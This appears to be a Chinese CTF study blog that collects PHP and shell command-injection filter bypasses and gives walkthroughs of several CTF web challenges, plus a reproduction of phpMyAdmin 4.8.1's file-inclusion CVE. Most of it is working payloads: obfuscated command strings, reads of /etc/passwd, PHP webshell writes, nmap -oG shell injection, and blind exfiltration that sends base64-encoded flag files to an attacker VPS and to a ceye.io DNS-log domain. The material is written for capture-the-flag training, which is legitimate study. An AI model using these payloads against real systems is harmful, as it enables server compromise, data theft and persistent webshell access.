3
4
5
6
a=ca;b=t;c=./flag
$a$b $c
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php
  • 变量绕过
    1
    2
    a=c;b=a;c=t;
    $a$b$c 1.txt
  • 编码进制绕过
    1
    2
    3
    4
    5
    6
    7
    [root~]#  echo 'cat' | base64

    Y2F0wqAK

    [root~]#  `echo 'Y2F0wqAK' | base64 -d` 1.txt

    hello world
    16进制
    1
    2
    echo "0x636174202e2f666c6167"|xxd -r -p|bash
    或者采用上述$符号来执行也行
    其他进制同理
  • 过滤文件名绕过(比如etc/passwd)
    1
    2
    3
    4
    5
    1)利用正则匹配绕过
    [root~]# cat /???/pass*
    2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
    [root~]# cat /???/pass*
    备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/
  • 命令执行函数system()绕过
    1
    2
    3
    4
    5
    6
    7
    “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
    (sy.(st).em)(whoami);
    使用内敛执行代替system
    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);
  • 使用$*$@$x,${x}
    原理:在没有传参的情况下,上面的特殊变量都是为空
1
2
3
4
ca$*t ./flag
ca$@t ./flag
ca$2t ./flag
cat${11}t ./flag
  • 读取文件
    1
    2
    3
    4
    5
    curl file:///flag
    strings /flag
    uniq -c/etc/passwd
    bash -v /etc/passwd
    rev /etc/passwd
    dir与ls的升级版
    1
    find -- 列出当前目录下的文件以及子目录所有文件

过滤空格

1
2
3
4
5
6
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

过滤目录分隔符/

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

采用多个管道命令即可

1
;cd flag_is_here;cat *

过滤分隔符|&;

1
2
3
4
5
;	//分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
  • 可用%0a来代替,%0a一般情况下是最标准的命令链接符号

    换行符 %0a ?cmd=123%0als
    回车符 %0d ?cmd=123%0dls
    连续指令 ; ?1=123;pwd
    后台进程 & ?1=123&pwd
    管道 | ?1=123|pwd
    逻辑运算 ||或&& ?1=123&&pwd
  • ?>代替;
    在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在php语句之后加上一个分号

例题:ctfshow36web

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤了;,我们就可以尝试用?>来代替分号

1
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

字符串长度受限

https://www.anquanke.com/post/id/87203

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行,ls -t将文件按照时间顺序输出,sh可以从一个文件中读取命令来执行

无回显

  1. shell_exec等无回显函数
    判断:ls;sleep(3)

利用:

复制,压缩,写shell等方法

1
2
3
4
5
6
7
copy flag.php 1.txt
mv flag.php flag.txt
cat flag.php > flag.txt
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

然后访问1.txt等对应生成的文件
在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下record.php

1
2
3
4
5
6
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://..*.**/record.php?data=cat flag.php|base64

wget http://.../record.php?data=cat flag.php|base64

通过Http请求/dns请求等方式带出数据

利用:

curl 命令.域名

sample:

1
2
3
4
5
6
#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787
linux tee命令

linux tee命令用于读取标准输入的数据,并将其内容输出成文件

1
2
3
用法:
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出

2.>/dev/null 2>&1类无回显

sample:ctfshow web入门42

1
2
3
4
5
6
7
 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);

/dev/null 2>&1意思是不进行回显的意思
进行命令分割就可

1
2
3
4
5
;	//分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

payload:

1
2
cat flag.php||
cat flag.php;

无数字字母getshell

思路:取反~,异或^,或运算|

这里羽师傅做过总结的:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

或运算:ctfshow-web41

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
题解:https://wp.ctf.show/d/137-ctfshow-web-web41

使用方法:

1
python3 exp.py 题目地址

过滤括号

使用不需要括号的函数

  • echo
    1
    echo `cat /flag` 
  • require,include
    1
    2
    require '/flag'
    include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
    不需要引号和空格
    1
    2
    #<?=require~~flag.txt?>
    <?=require~%d0%99%93%9e%98?> 

    无参数RCE

无参数详解:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

读取目录:

1
2
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

注:pos(localeconv())等于.
读取flag文件:

1
2
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

内敛执行(常用)

常用payload:

1
2
3
4
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

将``或$()内命令的输出作为输入执行

open_basedir绕过

Bypass open_basedir

disable_function绕过

Bypass disable_function

通配符+绝对路径调用命令

原理:

因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。

一些常用工具所在目录:

/bin/cat

/bin/base64 flag.php:base64编码flag.php的内容。

/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载

图片

题目:ctfshow-web入门55

1
2
3
4
5
6
7
8
9
10
11
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
sample1:

1
/???/????64 ????.???  #/bin/base64 flag.php

sample2:

1
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载即可

grep绕过关键词过滤

使用:

1
2
grep { flag.php
grep { f???????

打印flag.php中含有{的行
题目:ctfshow-web入门54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。
payload:

1
grep${IFS}f${IFS}fla?.php

使用~$()构造数字

例题:ctfshow-web入门57

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);

需要传36,但是禁了数字。
查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

$(()) 代表做一次运算,因为里面为空,也表示值为0

$((~$(()))) 对0作取反运算,值为-1

$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2

$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

所以我们只需要构造出-37,再进行取反就可以得到36。鉴于太复杂,写个jio本

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

生成的payload:

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

disable_funcitons全通payload

该方法使用php类来绕过,可以配置disable_classes来禁用类

读目录

1
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

读文件

1
2
3
4
5
6
7
8
9
10
try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
}

利用php内置类rce

利用 FilesystemIterator 获取指定目录下的所有文件

题:ctfshow-web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

payload:
?v1=FilesystemIterator&v2=getcwd

使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

题:ctfshow-web109

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?> 

payload:

1
2
?v1=Exception&v2=system('cat *')
?v2=Reflectionclass&v2=system('cat *')

$PATH环境变量绕过

第一种,可以使用大写字母数字和{}

可以使用环境变量来绕过,$PATH环境变量截取字母

1
2
3
4
$PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
echo ${PATH:5:1}${PATH:11:1}
ls

[GXYCTF2019]BabyUpload

图片

随便上传一个木马,提示不能后缀名不能带有ph,然后上传一个png显示如图,然后想到之前.user.ini和.htacess的操作,这里尝试下.htacess上传,还是提示上图,改一下mime类型

图片

并自己设置一个文件后缀名,然后传马,尝试访问phpinfo

图片

蚁剑连上就是flag

[RoarCTF 2019]Easy Java

图片

打开一个登陆界面还以为是sql注入,随便测试了下都不行,点击下面help弹出一行,到此我就没思路去看wp原来是自己代码敲少了

图片

这里疑似是任意文件下载漏洞,但是get方式无法下载成功,也没看到有任何异常,尝试用post,成功下载,但是依然没任何帮助,这里猜测是java网页的源码泄露

直接下载WEB-INF/web.xml配置文件,WEB-INF文件夹下的文件是不能被直接访问到的,通常是用来存储重要的配置文件等

1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

可以在第39行发现跟Flag有关的类,直接访问报错,但是泄露了目录
图片

采取之前说的任意文件下载漏洞,构造目录

图片

下载后,里面有一串base64解密后就是flag

这里贴上源码泄露的的一些例子:

https://blog.csdn.net/wy_97/article/details/78165051

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

给了源码,大概就是输入一个ip地址,然后调用nmap进行扫描,不过在题目类型进行了提示,rce和php可知是命令执行
重点关注下两个函数

escapeshellarg()和escapeshellcmd()

这里给出一篇文章,可以看到相关漏洞详细

https://paper.seebug.org/164/,两个函数按照代码中的顺序进行执行,就会产生漏洞

函数介绍:

1
2
3
4
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
1
2
3
4
5
6
7
8
escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

借用博客内容中举的例子
传入参数是:

172.17.0.2’ -v -d a=1

首先经过escapeshellarg()处理

变为’ 172.17.0.2’/‘’ -v -d a =1’

即先对单引号进行转义,然后再用单引号将左右两部分包起来起到连接的作用,

再经过escapeshellcmd()处理

变为’172.17.0.2’//‘’ -v -d a=1/‘

这里是因为escapeshellcmd对/和最后落单没成对的单引号进行了转义

所以最后执行的命令为 curl ‘172.17.0.2’//‘’ -v -d a=1/‘

中间的//被解释为/而不是转义字符,所以后面的’没有被转义,与最后的’配对成了一个空白连接符,所以最终可以简化为

curl 172.17.0.2/ -v -d a=1’

就是向172.17.0.2/发送请求 Post数据为a=1’

到此漏洞原理已经懂了,查询nmap命令可知-oG能将命令写入指定的文件中

可以构造payload:

?host=’ -oG shell.php ‘

所以传进去得到文件目录名,加上之前的url连蚁剑就行

具体解释:

1.两边加单引号,是因为不加的话,函数执行后会变成:

-oG shell.php’

就不是一个命令,而是一串字符串,因为在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。

2.引号旁边加空格是因为,如果不加,函数执行结束后并echo会变成

<?php eval($_POST[“hack”]);?> -oG shell.php\

文件名是shell.php\而不是shell.php

3.为什么参数hack不能用单引号,而用双引号

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

[BJDCTF2020]The mystery of ip

三个网页都看了下没什么东西除了flag.php显示了本地的ip,查看hint.php里有一个注释是让我们想一想怎么获取ip的

f12里也没有获取ip的js文件,抓包试一下

图片

发现xxf或者clitent-ip能够执行命令,构造payload:

client-ip:{system(‘cat /flag’)}

就可以看到flag了

[GXYCTF2019]禁止套娃

打开环境啥也没有,F12和cookie里也没有,抓包也没有东西,御剑扫一下也没东西。用wscan扫出来有

git文件

源码泄露,用githack获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下代码:需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
过滤了常用的几个伪协议,不能以伪协议读取文件。

(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

正则匹配掉了et/na/info等关键字,很多函数都用不了。

eval($_GET[‘exp’]); 典型的无参数RCE

注意正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用,大体意思就是匹配函数,但是函数里的参数都会被替换,所以我们的exp必须是a(b());这种类型

这里查看大佬WP后学到了几个函数

本题主要用到5个函数

1
2
3
4
5
localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
scandir() 可以扫描当前目录下的文件
array_reverse() 以相反的元素顺序返回数组
next() 将内部指针指向数组的下一个元素,并返回结果

这里有个小trick
current(localeconv())所代表的值就是.

我们首先要找到文件就要找到所在的目录,scandir()可以扫描当前目录下的文件

比如print_r(scandir(‘.’));

按照上面的trick就能构造.,另外current()可以用pos()来替代

所以构造payload查看文件位置

payload:

print_r(scandir(current(localeconv())));

图片

可以发现在倒数第二个文件夹,以数组形式展示

这里读取倒数第二个数组主要用到两个函数

next()和array_reverse(),前者是读取当前元素的下一个元素,后者是将数组以相反顺序返回数组

所以构造payload:

?exp=show_source(next(array_reverse(current(localeconv()))));

就可以回显flag了

[BJDCTF2020]ZJCTF,不过如此

前面的套路就是19年省赛的直接一把梭,得到源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
url/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}



foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

能看到正则匹配有个/e这里存在命令执行漏洞
/e修正符使preg_replace()将replacement参数(第二个参数,字符串)当做php代码执行

继续看到\1查资料可以知道\1表示取出正则匹配后的第一个子匹配中的第一项(这里其实就是thinkphp2.x、3.0-3.1版本的rce漏洞  )

那我们这里就要确保我们想要执行的东西正则可以填.*或者\S+(大写S是匹配非空白符)

再回到代码,如果我们要获取flag,就要调用getFlag()这个函数才能进行任意命令执行

因为这里已经确认了\S+

这里运用到了两个性质

  1. 在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。
  2. 变量覆盖漏洞中常见的可变变量,官方解释:官方解释

,因为要避免歧义,除了$$a这样子,还可以${$a}这样子

3.对于传入的非法的$_GET数组参数名,会将其转换成下划线_

图片

因为这里直接传\S+=getFlat()不能执行

所以改用上述方法

构造payload:

\S+=${getFlag()}&cmd=system(‘ls /‘);

能看到文件目录里存在flag,直接cat

\S+=${getFlag()}&cmd=system(‘cat /flag’);

参考链接:深入研究preg_replace与代码执行

[GWCTF 2019]我有一个数据库

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

首先进去没什么东西,常规操作F12等常见的东西都逛一逛,然后用dirsearch扫描,扫到了phpadmin,这里不需要登陆,直接就进去了。我原本以为是直接在这个数据库管理界面找到flag就行,后面看WP才知道是一个CVE

根据上述文章的分析直接用payload读flag就行

?target=db_datadict.php%253f/../../../../../../../../flag

这里专门做一个CVE的复现

漏洞详情:

  • 范围
    phpmyadmin 4.8.0和4.8.1

  • 原理
    首先在index.php 50-63行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

审计过后可以知道要想包含target的内容,必须满足五个条件
target不为空

target为字符串

target不以index开头

target不在黑名单里

target满足Core::checkPageValidity

此处代码在Core.php 443-476行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

如果白名单的内容没有在开始的时候没有传参进来,就会被赋值为self::$goto_whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

其实就是一堆内置的php页面,如果page在白名单里就返回true,但是我们一般访问或者说传参的时候并不只是一个单纯的index.php(此处举例),更多的是index.php?id=1类似这种带参数的,所以带了一点判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

函数作用:

1
2
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中,就返回true,而且还考虑了url编码的情况,所以如果这步判断为false,下一步就进行url解码

1
2
3
4
5
6
7
8
9
10
        $_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

所以传入二次编码的内容,会让checkpagevalidity()这个函数一开始是db_datadict.php%3f,又一次解码后变成db_datadict.php?,就符合了?前内容在白名单中的要求返回true,但是index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f而且会被include包含,通过目录穿越,就可以造成任意文件包含
这道题就是这个cve的一种利用方式,

比如进行任意文件包含

?target=db_datadict.php%253f../../../../../../../../Windows/DATE.ini查看系统时间

任意代码执行:

比如包含数据库文件

在sql语句查询在数据库路径

show global variables like “%datadir%”;

向数据库写入php代码

create database rce;

use rce;

create table rce(code varchar(100));

insert into rce(code) values(““);

随后包含即可

?target=db_datadict.php%253f../../../../../../../MySQL/data/rce/rce.MYD

[网鼎杯 2020 朱雀组]phpweb

打开网页发现网页每隔一段时间就刷新一下,并且页面上显示时间和data函数的报错

用bp抓包,看下数据

图片

从参数名字可以猜测前面是函数名称,后者是函数的参数详细

为了验证猜测,修改参数

前者改为eval,后者改为phpinfo()跑下

图片

提示被过滤了,想查看源码

用highlight_file和index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到过滤了大部分能够进行命令执行的函数但是重点是那个test类

1
2
3
4
5
6
7
8
9
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

